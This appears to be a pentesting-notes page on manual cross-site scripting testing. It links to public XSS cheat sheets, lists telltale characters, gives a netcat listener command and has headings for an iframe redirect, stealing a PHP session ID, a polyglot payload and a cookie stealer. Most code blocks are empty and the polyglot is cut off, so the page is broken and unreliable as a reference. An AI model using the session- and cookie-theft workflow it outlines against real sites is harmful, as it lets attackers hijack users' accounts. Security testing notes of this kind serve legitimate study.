> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/webapp-pentest/xss-cross-site-scripting/xxs-manual-testing.md). # XXS manual testing https\://portswigger.net/web-security/cross-site-scripting/cheat-sheet https\://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html) **#Special characters that indicate the possibility of XXS** `< > ' " { } ;` `hello“;<>` `Try:` ``` #careful with single quotes font ``` **#Content injection : redirecting user to malicious content** Embed an iframe within html code: ``` ``` **#netcat listener on port 80** ``` nc -nvlp 80 ``` **#Submit the XXS payload through some login form / blog / query tab** \#Shell **#Steal PHP session ID** ``` ``` **#Polyglot XXS payload** ``` javascript:/*--> ``` **#Cookie stealer** ``` ```